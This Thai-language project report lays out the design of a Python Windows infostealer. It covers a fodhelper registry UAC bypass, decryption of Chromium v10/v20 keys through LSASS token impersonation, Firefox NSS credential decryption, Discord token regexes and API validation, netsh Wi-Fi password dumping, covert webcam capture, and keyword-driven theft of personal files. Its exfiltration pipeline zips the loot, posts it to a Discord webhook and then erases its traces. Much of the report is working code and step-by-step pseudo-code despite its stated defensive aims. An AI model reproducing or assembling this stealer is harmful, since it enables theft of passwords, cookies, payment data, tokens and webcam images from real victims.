1. เป้าหมายและขอบเขตของโครงการ

1.1 ความเป็นมาและความสำคัญของปัญหา

ในปัจจุบัน ภัยคุกคามทางไซเบอร์ประเภท Information Stealer มีความซับซ้อนและแพร่หลายมากขึ้นอย่างต่อเนื่อง ตามรายงาน Verizon Data Breach Investigations Report (DBIR) ปี 2024 พบว่า credential theft ยังคงเป็นสาเหตุหลักของการละเมิดข้อมูลมากกว่า 60% ของกรณีทั้งหมดทั่วโลก มัลแวร์ประเภทนี้ถูกพัฒนาให้ทำงานอย่างเงียบเชียบ รวดเร็ว และครอบคลุม โดยสามารถดึงข้อมูลรับรองตัวตน (Credentials) จากเบราว์เซอร์ แอปพลิเคชัน และระบบปฏิบัติการได้ภายในเวลาไม่กี่นาที

นอกจากนี้ Google ได้เปิดตัว App-Bound Encryption สำหรับ Chrome 127+ ในปี 2024 ซึ่งเพิ่มชั้นการป้องกันข้อมูลรับรองในเบราว์เซอร์ให้แข็งแกร่งกว่าเดิม อย่างไรก็ตาม งานวิจัยพบว่าเทคนิค LSASS Token Impersonation ร่วมกับ NCrypt API ยังสามารถหลีกเลี่ยงการป้องกันนี้ได้ภายใต้สภาวะที่ผู้โจมตีมีสิทธิ์ Administrator

การทำความเข้าใจกลไกการทำงานของเครื่องมือเหล่านี้จากมุมมองของฝ่ายโจมตี (Red Team Perspective) จึงเป็นสิ่งจำเป็นสำหรับนักความปลอดภัยและทีม Blue Team เพื่อออกแบบมาตรการป้องกันที่ได้ผลจริง

1.2 วัตถุประสงค์ของโครงการ

  1. ศึกษาและพัฒนา UAC Bypass โดยใช้เทคนิค fodhelper.exe Registry Hijack เพื่อทำความเข้าใจช่องโหว่ในกระบวนการยกระดับสิทธิ์ (Privilege Escalation) ของ Windows ที่ยังคงมีอยู่จนถึงปัจจุบัน

  2. ศึกษากลไกการเข้ารหัสของ Chromium ทั้งแบบ DPAPI (v10/v11) และ App-Bound Encryption (v20) รวมถึงเทคนิค LSASS Token Impersonation เพื่อเข้าถึง master key สำหรับถอดรหัสข้อมูลรับรอง

  3. พัฒนาระบบ Multi-threaded Data Collection ที่สามารถรวบรวมข้อมูลจากหลายแหล่งพร้อมกันอย่างมีประสิทธิภาพ ได้แก่ เบราว์เซอร์ ระบบปฏิบัติการ แอปพลิเคชันเกม และไฟล์ส่วนตัว

  4. ออกแบบ Exfiltration Pipeline ที่ครบวงจร ตั้งแต่การบีบอัดข้อมูล การส่งผ่าน Discord Webhook ไปจนถึงการลบร่องรอย (Cleanup)

  5. นำผลการวิจัยไปประยุกต์ใช้ด้าน Defense เพื่อเสนอแนวทางการป้องกันระบบที่เหมาะสมกับภัยคุกคามในปัจจุบัน

1.3 ขอบเขตของโครงการ

ขอบเขตที่ครอบคลุม

หมวดหมู่ รายละเอียด
Platform เป้าหมาย Windows 10 (21H2 ขึ้นไป) และ Windows 11 (22H2 ขึ้นไป) สถาปัตยกรรม x64
ภาษาโปรแกรมหลัก Python 3.10+
Chromium Browsers Chrome, Edge, Brave, Opera, Opera GX, Opera Air, Vivaldi, Yandex, Chromium, AVG, Avast, DuckDuckGo, Comodo, Maxthon, WaveBrowser, Shift, Comet, Epic, Iridium, Samsung Internet, Supermium, Thorium, Cromite, Cent Browser, 7Star, Sputnik, Uran, Orbitum, Kometa, Amigo, Escosia, Hola รวม 40+ เบราว์เซอร์
Gecko Browsers Firefox, Waterfox, LibreWolf, Zen Browser, Mullvad Browser, SeaMonkey, Pale Moon, Basilisk, IceWeasel
ข้อมูลที่รวบรวม Saved passwords, Cookies, Autofill data, Credit card numbers, Browsing history, Discord tokens, Wi-Fi credentials, Minecraft/Steam/Roblox/GeometryDash session files, Personal files (keyword-matched), Webcam photos, Desktop screenshot, Clipboard content
สิทธิ์ที่ต้องการ Administrator (ยกระดับผ่าน UAC bypass อัตโนมัติ)
Exfiltration Channel Discord Webhook (HTTPS POST)

ขอบเขตที่ไม่ครอบคลุม

หมวดหมู่ เหตุผล
Persistence Mechanism ไม่รวม autorun/registry persistence เพื่อจำกัดขอบเขตการทดสอบ
Keylogging ไม่ใช่ focus หลักของโครงการ
Network Lateral Movement ข้ามขอบเขต single-host analysis
C2 Framework ใช้ Discord Webhook เป็น exfil channel เพียงอย่างเดียว
Mobile Platform รองรับ Windows เท่านั้น
macOS / Linux ไม่รวมในขอบเขต

1.4 ประโยชน์ที่คาดว่าจะได้รับ

  1. ด้านวิชาการ — เพิ่มความเข้าใจในกลไกการทำงานของ Infostealer มัลแวร์ประเภทใหม่ที่ใช้เทคนิค App-Bound Encryption bypass
  2. ด้านการป้องกัน — ทราบ Indicator of Compromise (IoC) และ Tactics, Techniques, Procedures (TTPs) ที่ใช้ สามารถออกแบบ detection rules ได้
  3. ด้าน Red Team — เป็น reference implementation สำหรับ authorized penetration testing
  4. ด้านองค์กร — สามารถนำ findings ไปปรับปรุงนโยบายความปลอดภัยและการกำหนดค่าระบบ

2. วิธีการดำเนินงาน

2.1 Hardware

สภาพแวดล้อมการทดสอบประกอบด้วยเครื่อง Host สำหรับรัน Hypervisor และ Virtual Machine ที่จำลองเป็นเครื่อง Target โดยมีข้อกำหนดดังนี้:

เครื่อง Host (Development & Control)

ส่วนประกอบ Specification
CPU Intel Core i7-12th Gen หรือเทียบเท่า (รองรับ VT-x/AMD-V)
RAM 16 GB DDR4 (ต้องการอย่างน้อย 8 GB สำหรับ VM)
Storage SSD NVMe 512 GB ขึ้นไป
OS Windows 10/11 Pro 64-bit หรือ Linux (สำหรับ development)
Hypervisor VMware Workstation Pro 17.x หรือ VirtualBox 7.x
Network Gigabit Ethernet / Wi-Fi 6
Webcam USB Webcam ความละเอียด 720p ขึ้นไป

Virtual Machine (Target Environment)

ส่วนประกอบ Specification
OS Windows 10 22H2 (Build 19045) / Windows 11 23H2 (Build 22631)
RAM (VM) 4–8 GB
Storage (VM) 60–100 GB Virtual Disk
CPU (VM) 2–4 vCPU
Network Mode NAT (Isolated) — ไม่เชื่อมต่อ Internet จริงระหว่างทดสอบ
Snapshot บันทึก clean snapshot ก่อนการทดสอบทุกครั้ง

[!IMPORTANT] ต้องสร้าง Network Isolation สำหรับ VM เสมอ ห้าม VM เชื่อมต่อ Internet จริงระหว่างการทดสอบ ใช้ Webhook Interceptor (เช่น requestbin หรือ webhook.site) แทน Discord Webhook จริง

2.2 Software และ Library ที่ใช้

2.2.1 ภาษาโปรแกรมและ Runtime

Software เวอร์ชัน หน้าที่
Python 3.10–3.12 ภาษาหลักในการพัฒนาทั้งระบบ
PyInstaller 6.x แปลงไฟล์ .py เป็น single executable .exe แบบ standalone

2.2.2 Python Libraries หลัก

Library เวอร์ชัน หน้าที่
pycryptodomex 3.20+ AES-GCM (v10/v11/v20), ChaCha20-Poly1305 decryption
Pillow 10.x Screenshot ทุกหน้าจอผ่าน ImageGrab.grab(all_screens=True)
requests 2.31+ HTTP POST ไป Discord Webhook, Discord API calls
requests-toolbelt 0.10+ Multipart encoder สำหรับ upload ไฟล์แนบ (ZIP, PNG)
psutil 5.9+ ดึง process list สำหรับ kill browser, ดึง network interface/MAC
pywin32 306+ CryptUnprotectData (DPAPI), win32crypt
python-windows 1.x LSASS token impersonation, NCrypt API, DPAPI system-level

2.2.3 Windows Built-in APIs ที่ใช้

API / DLL หน้าที่
winreg (built-in) อ่าน/เขียน Windows Registry สำหรับ UAC bypass
ctypes (built-in) เรียก Win32 API โดยตรง (avicap32, user32, ncrypt)
sqlite3 (built-in) อ่าน database ของเบราว์เซอร์ (Login Data, Cookies, Web Data)
subprocess (built-in) เรียก netsh, powershell, fodhelper.exe
avicap32.dll Webcam capture ผ่าน Windows Video Capture API
ncrypt.dll NCryptDecrypt สำหรับ v20 App-Bound key
nss3.dll (Firefox) PK11SDR_Decrypt สำหรับ Firefox credentials

2.2.4 เครื่องมือทดสอบและวิเคราะห์

เครื่องมือ เวอร์ชัน หน้าที่
Wireshark 4.x ตรวจสอบ network traffic ระหว่างทดสอบ
Process Monitor (Sysinternals) 3.x ตรวจสอบ file system / registry access
x64dbg latest Debug และ trace การทำงานของ executable
VirusTotal online ทดสอบ detection rate จาก AV engines
webhook.site online รับ intercepted webhook requests แทน Discord จริง

2.3 ภาพรวมระบบ (System Architecture)

2.3.1 Execution Flow ภาพรวม

╔══════════════════════════════════════════════════════════════════════╗
║                         ENTRY POINT                                  ║
║                  Luna(__CONFIG__["webhook"])                          ║
║               ThreadPoolExecutor → main(webhook)                     ║
╚══════════════════════════════════════════════════════════════════════╝
                              │
                              ▼
╔══════════════════════════════════════════════════════════════════════╗
║                    PRIVILEGE ESCALATION                              ║
║                                                                      ║
║  is_admin() == False                                                 ║
║       │                                                              ║
║       ├──▶ uac_bypass_fodhelper()                                    ║
║       │        ├── WriteReg: HKCU\...\ms-settings\shell\open\command ║
║       │        ├── Run: fodhelper.exe                                ║
║       │        └── DeleteReg (cleanup)                               ║
║       │                                                              ║
║       └──▶ (fallback) ShellExecuteW "runas" → UAC dialog            ║
╚══════════════════════════════════════════════════════════════════════╝
                              │
                    (Re-run as Admin)
                              │
                              ▼
╔══════════════════════════════════════════════════════════════════════╗
║              PARALLEL DATA COLLECTION (ThreadPoolExecutor)           ║
║                                                                      ║
║  ┌─────────┐  ┌──────┐  ┌──────────┐  ┌───────┐  ┌────────────┐   ║
║  │Browsers │  │ Wifi │  │Minecraft │  │ Steam │  │GeometryDash│   ║
║  └────┬────┘  └──┬───┘  └────┬─────┘  └───┬───┘  └─────┬──────┘   ║
║       │           │           │              │            │          ║
║  ┌────┴────┐  ┌──┴────┐  ┌───┴──────────────┴────────────┘         ║
║  │ Roblox  │  │Webcam │  │        PersonalFiles                      ║
║  └─────────┘  └───────┘  └──────────────────────────────            ║
║                                                                      ║
╚══════════════════════════════════════════════════════════════════════╝
                              │
                              ▼
╔══════════════════════════════════════════════════════════════════════╗
║              SEQUENTIAL MODULES (Discord + PcInfo)                   ║
║                                                                      ║
║  Discord() ──▶ Token grab → validate → upload (with screenshot)     ║
║  PcInfo()  ──▶ System info → format embed → POST webhook            ║
╚══════════════════════════════════════════════════════════════════════╝
                              │
                              ▼
╔══════════════════════════════════════════════════════════════════════╗
║                    EXFILTRATION & CLEANUP                            ║
║                                                                      ║
║  zipup() → System-Logged-{user}.zip                                 ║
║  MultipartEncoder → POST to Discord Webhook (with embed stats)       ║
║  os.remove(zip) + shutil.rmtree(temp_path)  ← cleanup               ║
╚══════════════════════════════════════════════════════════════════════╝

2.3.2 Data Flow Diagram

[Target Machine]
       │
       ├── %TEMP%\{random12}\
       │       ├── Browser\
       │       │     ├── passwords.txt
       │       │     ├── cookies.txt
       │       │     ├── history.txt
       │       │     ├── autofill.txt
       │       │     ├── cc.txt
       │       │     ├── debug_passwords.txt
       │       │     └── Firefox\{browser}\{profile}\
       │       │           ├── logins.json
       │       │           ├── key4.db
       │       │           └── key3.db
       │       ├── Wifi\
       │       │     └── Wifi Passwords.txt
       │       ├── Minecraft\
       │       │     ├── launcher_accounts.json
       │       │     ├── PrismLauncher\accounts.json
       │       │     ├── LunarClient\accounts.json
       │       │     └── Modrinth\app.db
       │       ├── Steam\
       │       │     ├── loginusers.vdf
       │       │     └── config.vdf
       │       ├── GeometryDash\
       │       │     ├── CCGameManager.dat
       │       │     └── CCLocalLevels.dat
       │       ├── Roblox\
       │       │     └── Cookies.txt
       │       ├── Webcam\
       │       │     ├── Webcam_1.bmp
       │       │     └── Webcam_2.bmp
       │       ├── PersonalFiles\
       │       │     ├── Desktop\...
       │       │     ├── Downloads\...
       │       │     └── Documents\...
       │       ├── desktopshot.png
       │       ├── clipboard.txt
       │       └── browser_stats.txt
       │
       └── %LOCALAPPDATA%\System-Logged-{user}.zip
                                    │
                                    ▼
                        [Discord Webhook HTTPS POST]
                                    │
                        ┌───────────┴──────────────┐
                        │   Attacker's Discord      │
                        │   Server / DM Channel     │
                        └──────────────────────────┘

2.3.3 Thread Architecture

Main Thread
    │
    ├── ThreadPoolExecutor (max_workers = cpu_count())
    │       │
    │       ├── Thread: Browsers.__init__()
    │       │       ├── Sub-Thread × N: cookies(browser, profile)
    │       │       ├── Sub-Thread × N: history(browser, profile)
    │       │       ├── Sub-Thread × N: passwords(browser, profile)
    │       │       ├── Sub-Thread × N: credit_cards(browser, profile)
    │       │       ├── Sub-Thread × N: autofill(browser, profile)
    │       │       └── Sub-Thread: firefox_all()
    │       │
    │       ├── Thread: Wifi.__init__()
    │       ├── Thread: Minecraft.__init__()
    │       ├── Thread: Steam.__init__()
    │       ├── Thread: GeometryDash.__init__()
    │       ├── Thread: Roblox.__init__()
    │       ├── Thread: Webcam.__init__()
    │       └── Thread: PersonalFiles.__init__()
    │
    ├── Discord.__init__()  [Sequential after pool]
    ├── PcInfo.__init__()   [Sequential after Discord]
    │
    └── zipup() → POST webhook → cleanup

2.4 การทำงานของแต่ละ Module


2.4.1 Module: UAC Bypass (fodhelper Registry Hijack)

หลักการทำงาน:

fodhelper.exe คือ Windows binary ที่อยู่ใน C:\Windows\System32\fodhelper.exe มีคุณสมบัติพิเศษคือถูก mark ด้วย requestedExecutionLevel: requireAdministrator และ autoElevate: true ใน application manifest ทำให้ Windows อนุญาตให้ยกระดับสิทธิ์ได้โดยอัตโนมัติโดยไม่แสดง UAC dialog เมื่อถูกเรียกจาก process ที่มีสิทธิ์ปกติ

เมื่อ fodhelper.exe ทำงาน มันจะค้นหา handler สำหรับ ms-settings: URI scheme ในลำดับดังนี้:

  1. ตรวจสอบ HKCU\Software\Classes\ms-settings ก่อน (user-level, ไม่ต้องการสิทธิ์พิเศษ)
  2. ถ้าไม่พบ จึงไปที่ HKLM\Software\Classes\ms-settings (system-level)

ช่องโหว่อยู่ที่ข้อ 1: ผู้ใช้ทั่วไปสามารถเขียน HKCU ได้เองโดยไม่ต้องการสิทธิ์ Admin ดังนั้น หากสร้าง registry key ที่ถูกต้องใน HKCU ก่อน fodhelper.exe จะใช้ handler ที่กำหนดไว้แทน ซึ่ง handler นี้คือ executable ของเราที่จะรันด้วยสิทธิ์ Admin

ขั้นตอนการทำงาน:

ขั้นตอนที่ 1: ตรวจสอบสิทธิ์ปัจจุบัน
is_admin() → ctypes.windll.shell32.IsUserAnAdmin()
   └── ถ้าเป็น Admin อยู่แล้ว → ข้ามการ bypass

ขั้นตอนที่ 2: สร้าง Registry Key
HKCU\Software\Classes\ms-settings\shell\open\command
   ├── (Default) = '"C:\path\to\self.exe" [args]'
   └── DelegateExecute = "" (สำคัญ: ต้องมี value นี้เพื่อ trigger custom handler)

ขั้นตอนที่ 3: เรียก fodhelper.exe
subprocess.run("fodhelper.exe", creationflags=CREATE_NO_WINDOW)
   └── fodhelper ค้นพบ ms-settings handler ใน HKCU
   └── รัน self.exe ด้วยสิทธิ์ Admin (ไม่มี UAC dialog)

ขั้นตอนที่ 4: Cleanup
time.sleep(2)  ← รอให้ process ใหม่เริ่มทำงาน
winreg.DeleteKey(HKCU, subkey)  ← ลบร่องรอยออก

ขั้นตอนที่ 5: ออกจาก process เดิม
sys.exit()  ← process ที่มีสิทธิ์ Admin จะ take over

Registry Structure:

HKEY_CURRENT_USER
└── Software
    └── Classes
        └── ms-settings
            └── shell
                └── open
                    └── command
                        ├── (Default) = "C:\...\payload.exe"
                        └── DelegateExecute = ""

Fallback Mechanism:

ถ้า fodhelper bypass ล้มเหลว (เช่น UAC ตั้งค่าสูงสุด) โปรแกรมจะใช้ ShellExecuteW กับ verb "runas" เพื่อแสดง UAC dialog ตามปกติแทน


2.4.2 Module: Browsers — Browser Credential Extraction

Browser module เป็น module ที่ซับซ้อนที่สุดในระบบ รองรับ 3 รูปแบบการเข้ารหัสหลักและ 2 engine (Chromium / Gecko) โดยมีการทำงานแบบ multi-threaded ต่อ browser และ profile

2.4.2.1 Chromium Browser — Database Structure

เบราว์เซอร์ตระกูล Chromium เก็บข้อมูลใน SQLite database ดังนี้:

ไฟล์ ข้อมูล ตาราง
Login Data Saved passwords logins (origin_url, username_value, password_value)
Cookies Session cookies cookies (host_key, name, path, encrypted_value, is_secure, expires_utc)
Web Data Autofill, Credit cards autofill, autofill_entries, addresses, credit_cards
History Browsing history urls (url, visit_count, last_visit_time)
Local State Master encryption key JSON: os_crypt.encrypted_key หรือ os_crypt.app_bound_encrypted_key

2.4.2.2 Master Key Extraction — Version Matrix

Chrome Version Encryption Scheme Key Location Bypass Method
< 80 Plain text / DPAPI (no prefix) — CryptUnprotectData() โดยตรง
80–126 AES-256-GCM (prefix v10/v11) encrypted_key in Local State DPAPI → master key → AES-GCM
127+ App-Bound AES-256-GCM (prefix v20) app_bound_encrypted_key in Local State DPAPI → LSASS impersonation → NCrypt → master key → AES-GCM

2.4.2.3 v10/v11 Decryption Flow (Standard DPAPI)

[Local State JSON]
  "os_crypt": {
    "encrypted_key": "RFBBUEK..."  ← base64
  }

ขั้นตอน:
1. base64.b64decode(encrypted_key)
   → b'\x44\x50\x41\x50\x49...'  (first 5 bytes = "DPAPI" prefix)

2. master_key = CryptUnprotectData(enc_key[5:])
   → 32-byte AES key (ผูกกับ Windows user account ปัจจุบัน)

3. สำหรับแต่ละ password_value:
   iv    = password_value[3:15]     (12 bytes nonce)
   payload = password_value[15:]    (ciphertext + tag)
   cipher = AES.new(master_key, MODE_GCM, iv)
   plaintext = cipher.decrypt(payload)[:-16]  (ตัด 16-byte tag ออก)

2.4.2.4 v20 Decryption Flow (App-Bound Encryption)

App-Bound Encryption ถูกออกแบบมาเพื่อให้เฉพาะ Chrome process เท่านั้นที่สามารถถอดรหัสได้ โดยผูก key กับ process identity ผ่าน Windows CNG (Cryptography Next Generation) service ที่รันใน elevated context

[Local State JSON]
  "os_crypt": {
    "app_bound_encrypted_key": "..."  ← base64
  }

ขั้นตอน:
1. base64.b64decode(app_bound_encrypted_key)[4:]
   (ตัด 4 bytes header ออก)

2. ลอง DPAPI ก่อน (บางเวอร์ชันยังใช้ DPAPI):
   CryptUnprotectData(enc_key)
   → ถ้าได้ key ยาว ≥ 32 bytes: ใช้ [-32:] เป็น master key
   → ถ้าล้มเหลว: ไปขั้นตอน 3

3. LSASS Token Impersonation:
   a. เปิดใช้ SeDebugPrivilege ใน current process token
   b. ค้นหา lsass.exe process → ดึง process token
   c. Duplicate token เป็น Impersonation token (SecurityImpersonation level)
   d. Set thread token = lsass_impersonation_token

4. System-level DPAPI:
   windows.crypto.dpapi.unprotect(enc_key)  ← รันภายใต้ LSASS identity
   → system_decrypted (intermediate key blob)

5. User-level DPAPI:
   windows.crypto.dpapi.unprotect(system_decrypted)
   → user_decrypted (key blob)

6. Parse Key Blob:
   parse_key_blob(user_decrypted) → {flag, iv, ciphertext, tag, ...}

7. Derive Master Key ตาม flag:
   flag=1 → AES-256-GCM ด้วย hardcoded AES key
   flag=2 → ChaCha20-Poly1305 ด้วย hardcoded ChaCha key
   flag=3 → NCrypt (CNG): 
              NCryptOpenStorageProvider("Microsoft Software Key Storage Provider")
              NCryptOpenKey(key_name)  ← ชื่อ key เช่น "Google Chromekey1"
              NCryptDecrypt(encrypted_aes_key)
              XOR result กับ hardcoded XOR key
              AES-GCM decrypt → final 32-byte master key

8. ถอดรหัส actual data:
   iv    = encrypted_value[3:15]
   payload = encrypted_value[15:-16]
   tag   = encrypted_value[-16:]
   cipher = AES.new(master_key, MODE_GCM, nonce=iv)
   plaintext = cipher.decrypt_and_verify(payload, tag)[32:]
   (ข้าม 32 bytes แรก ซึ่งเป็น metadata prefix ของ v20)

2.4.2.5 Key Blob Structure (parse_key_blob)

Key Blob Binary Format:
┌─────────────┬─────────────┬──────┬───────────────────────────┐
│ header_len  │   header    │ flag │     content (ตาม flag)     │
│  (4 bytes)  │ (var bytes) │(1 B) │                            │
└─────────────┴─────────────┴──────┴───────────────────────────┘

flag=1 (AES path):
  [iv: 12B] [ciphertext: 32B] [tag: 16B]

flag=2 (ChaCha20 path):
  [iv: 12B] [ciphertext: 32B] [tag: 16B]

flag=3 (CNG/NCrypt path):
  [encrypted_aes_key: 32B] [iv: 12B] [ciphertext: 32B] [tag: 16B]

flag=other (raw):
  [raw key data: remaining bytes]

2.4.2.6 Firefox/Gecko Decryption Flow

Firefox ใช้ Mozilla's Network Security Services (NSS) library สำหรับเข้ารหัส credentials แทน DPAPI

profile_path = %APPDATA%\Mozilla\Firefox\Profiles\{profile_id}
nss3.dll path = C:\Program Files\Mozilla Firefox\nss3.dll

ขั้นตอน:
1. Load nss3.dll ผ่าน ctypes.CDLL
2. nss.NSS_Init(profile_path.encode()) → initialize NSS กับ profile
3. อ่าน logins.json:
   {
     "logins": [{
       "hostname": "https://example.com",
       "encryptedUsername": "...",  ← base64(DER-encoded CMS)
       "encryptedPassword": "..."   ← base64(DER-encoded CMS)
     }]
   }
4. decrypt_firefox_password():
   decoded = base64.b64decode(encrypted_str)
   inp = SECItem(data=decoded, len=len(decoded))
   out = SECItem()
   nss.PK11SDR_Decrypt(byref(inp), byref(out), None)
   result = string_at(out.data, out.len).decode()

2.4.2.7 Browser Kill Process

ก่อนอ่าน SQLite database โปรแกรมจะ kill กระบวนการของเบราว์เซอร์ที่กำลังรันอยู่ เพราะ Chromium-based browser จะล็อกไฟล์ database ไว้ขณะรันงาน

browser_exe = ["chrome.exe", "brave.exe", "opera.exe", "msedge.exe", ...]
for proc in psutil.process_iter(['name']):
    if proc.info['name'].lower() in browser_exe:
        proc.kill()
time.sleep(1)  # รอให้ process ตายสมบูรณ์

2.4.2.8 Safe Database Copy

เพื่อหลีกเลี่ยง database locking แม้หลัง kill process โปรแกรมจะ copy ไฟล์ database ไปยัง temp file ก่อนทุกครั้ง:

tmp = create_temp()           # สร้าง temp file ชื่อสุ่ม
copy2(db_path, tmp)          # copy database ไป temp
conn = sqlite3.connect(tmp)  # เปิด connection จาก copy
# ... อ่านข้อมูล ...
os.remove(tmp)               # ลบ temp file

2.4.3 Module: Discord Token Extraction

วิธีค้นหา Token:

Discord เก็บ authentication token ใน LevelDB storage ของ Electron app และ browser

Pattern 1 — Encrypted Token (Discord desktop):

Regex: dQw4w9WgXcQ:[^"]*
Format: dQw4w9WgXcQ:{base64_encoded_encrypted_token}

Decrypt:
1. enc = y.split('dQw4w9WgXcQ:')[1]
2. data = base64.b64decode(enc)
3. iv = data[3:15], payload = data[15:]
4. cipher = AES.new(master_key, MODE_GCM, iv)
5. token = cipher.decrypt(payload)[:-16].decode()

Pattern 2 — Plain Token (browser storage, Firefox):

Regex: [\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}
ตรงกับ format ของ Discord token: UserID_base64.timestamp.HMAC

Token Validation:

GET https://discord.com/api/v9/users/@me
Headers: {"Authorization": token}
→ status 200: token valid
→ status 401: token invalid / expired

ข้อมูลที่ดึงได้จาก valid token:

ข้อมูล Discord API Endpoint
Username, ID, Avatar GET /api/v9/users/@me
Email, Phone GET /api/v9/users/@me
2FA status GET /api/v9/users/@me (mfa_enabled)
Nitro type GET /api/v9/users/@me (premium_type)
Payment methods GET /api/v6/users/@me/billing/payment-sources

Paths ที่ค้นหา Token:

Discord Desktop:   %APPDATA%\discord\Local Storage\leveldb\
Discord Canary:    %APPDATA%\discordcanary\Local Storage\leveldb\
Discord PTB:       %APPDATA%\discordptb\Local Storage\leveldb\
Vesktop:           %APPDATA%\vesktop\sessionData\Local Storage\leveldb\
Legcord:           %APPDATA%\legcord\Local Storage\leveldb\
Chrome:            %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Storage\leveldb\
Edge:              %LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Local Storage\leveldb\
Brave:             %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\Default\...\leveldb\
Opera:             %APPDATA%\Opera Software\Opera Stable\Local Storage\leveldb\
[+ 15 more paths]

2.4.4 Module: System Information (PcInfo)

รวบรวมข้อมูลระบบผ่าน PowerShell CIM/WMI cmdlets และ Python APIs:

ข้อมูล วิธีดึง
OS, Build Type, Install Date Get-CimInstance Win32_OperatingSystem
CPU Get-CimInstance Win32_Processor
GPU, Resolution, Refresh Rate Get-CimInstance Win32_VideoController
RAM (total/available/free/%) psutil.virtual_memory()
Model, System Type Get-CimInstance Win32_ComputerSystem
BIOS, Serial Number Get-CimInstance Win32_BIOS
HWID (UUID) Get-CimInstance Win32_ComputerSystemProduct
Product Key Get-CimInstance SoftwareLicensingService
Antivirus Get-CimInstance -Namespace root/SecurityCenter2 AntivirusProduct
Public IP GET https://api.ipify.org
MAC Address psutil.net_if_addrs()
Wi-Fi Profiles + Passwords netsh wlan show profiles, netsh wlan show profile key=clear
Timezone Get-CimInstance Win32_TimeZone
Last Boot Time Get-CimInstance Win32_OperatingSystem.LastBootUpTime

2.4.5 Module: Wi-Fi Password Extraction

ดึงรหัสผ่าน Wi-Fi ทุก network ที่เคย connect ผ่าน Windows netsh command:

Step 1: ดึง SSID ทั้งหมด
netsh wlan show profiles
→ parse lines ที่มี "All User Profile"
→ รวบรวมชื่อ SSID ทั้งหมด

Step 2: ดึง password ของแต่ละ SSID
netsh wlan show profile "SSID_NAME" key=clear
→ parse line ที่มี "Key Content"
→ password = line.split(':')[1].strip()

Output:
Wifi Name : {SSID} | Password : {password}

ต้องใช้สิทธิ์ Administrator สำหรับ network บางประเภท (Enterprise Wi-Fi)


2.4.6 Module: Webcam Capture (avicap32.dll)

ใช้ Windows Video for Windows (VfW) API ผ่าน avicap32.dll โดยตรง โดยไม่ต้องติดตั้ง library เพิ่มเติม:

Win32 API Call Sequence:
1. capCreateCaptureWindowW("hi", WS_CHILD, 0,0,0,0, hDesktopWnd, 0)
   → สร้าง capture window (ไม่แสดงผล invisible)

2. SendMessageA(hcam, WM_CAP_DRIVER_CONNECT, index, 0)
   → เชื่อมต่อกับ webcam ตาม index (0, 1, 2, ...)
   → return True ถ้ามี webcam, False ถ้าไม่มี

3. SendMessageA(hcam, WM_CAP_FILE_SAVEDIB, 0, path)
   → บันทึกภาพเป็นไฟล์ .bmp

4. SendMessageA(hcam, WM_CAP_DRIVER_DISCONNECT, 0, 0)
5. DestroyWindow(hcam)

Loop: เพิ่ม index จนกว่า WM_CAP_DRIVER_CONNECT จะ return False
→ Webcam_1.bmp, Webcam_2.bmp, ...

ข้อสังเกต: Windows ไม่แสดง notification ใด ๆ แก่ผู้ใช้เมื่อมีการ access webcam ผ่าน VfW API (ต่างจากกล้อง UWP/Modern App ที่มี LED indicator บังคับ)


2.4.7 Module: Personal Files Collection (PersonalFiles)

ค้นหาและ copy ไฟล์ที่มีความเสี่ยงจากโฟลเดอร์ส่วนตัวของผู้ใช้

Search Locations:

โฟลเดอร์ Path
Desktop %USERPROFILE%\Desktop
Downloads %USERPROFILE%\Downloads
Documents %USERPROFILE%\Documents
Videos %USERPROFILE%\Videos
Pictures %USERPROFILE%\Pictures
Music %USERPROFILE%\Music
Saved Games %USERPROFILE%\Saved Games

Keyword Filter (ชื่อไฟล์ต้องมี keyword เหล่านี้):

acc, secrets, mfa, 2fa, password, token, tkn, crypto, cookie, bank, credit, 
card, tax, note, pass, passwd, pswd, pwd, credentials, creds, cred, login, 
logins, auth, backup, recovery, reco, recov, code, key, keys, priv, private, 
crt, cert, certs, certfile, api, cfg, config, conf, id, journal, resume, address

Extension Filter:

.txt, .png, .docx, .pdf, .doc, .log, .ldb, .jpg, .jpeg, .xls, .xlsx, 
.py, .cpp, .json, .zip, .kdbx, .wallet

Size Limit: ไฟล์ใหญ่กว่า 5 MB จะถูก skip และบันทึกใน files.txt เพื่อ reference


2.4.8 Module: Data Exfiltration Pipeline

ขั้นตอนที่ 1 — Screenshot + Clipboard (ส่งผ่าน Discord class):

# Screenshot ทุก monitor พร้อมกัน
image = ImageGrab.grab(all_screens=True)
image.save(img_path)  # → desktopshot.png

# Clipboard
powershell Get-Clipboard → clipboard.txt

ขั้นตอนที่ 2 — Token + User Info Upload:

Discord Token Loop:
  GET /api/v9/users/@me → user info
  GET /api/v6/users/@me/billing/payment-sources → billing
  Format Discord Embed → POST webhook

ขั้นตอนที่ 3 — System Info Upload (PcInfo):

PowerShell CIM queries → format system info string
Create Discord Embed → POST webhook

ขั้นตอนที่ 4 — ZIP Compression:

_zipfile = os.path.join(localappdata, f'System-Logged-{os.getlogin()}.zip')
zipped = ZipFile(_zipfile, "w", ZIP_DEFLATED)
for dirname, _, files in os.walk(temp_path):
    for file in files:
        zipped.write(absname, arcname)  # preserve relative paths
zipped.close()

ขั้นตอนที่ 5 — File Upload via Multipart:

encoder = MultipartEncoder({
    'payload_json': json.dumps({"embeds": [stats_embed]}),
    'file': (f'System-Logged-{user}.zip', file_bytes, 'application/zip')
})
requests.post(webhook, headers={'Content-type': encoder.content_type}, data=encoder)

ขั้นตอนที่ 6 — Cleanup:

os.remove(zip_file)          # ลบ ZIP
shutil.rmtree(temp_path)     # ลบโฟลเดอร์ temp ทั้งหมด

2.4.9 Module: Game Platform Collectors

Minecraft:

File Location เหตุผล
launcher_accounts.json %APPDATA%\.minecraft\ Mojang/Microsoft account session
launcher_accounts_microsoft_store.json %APPDATA%\.minecraft\ MS Store version
TlauncherProfiles.json %APPDATA%\.minecraft\ TLauncher (cracked)
usercache.json %APPDATA%\.minecraft\ Player UUID cache
accounts.json %APPDATA%\PrismLauncher\ PrismLauncher session
accounts.json %USERPROFILE%\.lunarclient\ LunarClient session
app.db (+ shm/wal) %APPDATA%\ModrinthApp\ Modrinth session

Steam:

File Location
loginusers.vdf %PROGRAMFILES(X86)%\Steam\config\
config.vdf %PROGRAMFILES(X86)%\Steam\config\

Roblox:

RobloxCookies.dat → JSON → CookiesData (base64)
→ base64.b64decode → CryptUnprotectData (DPAPI)
→ split by ";" → filter ".ROBLOSECURITY" cookie
→ บันทึก Cookies.txt

Geometry Dash:

CCGameManager.dat  → เก็บ account info, settings
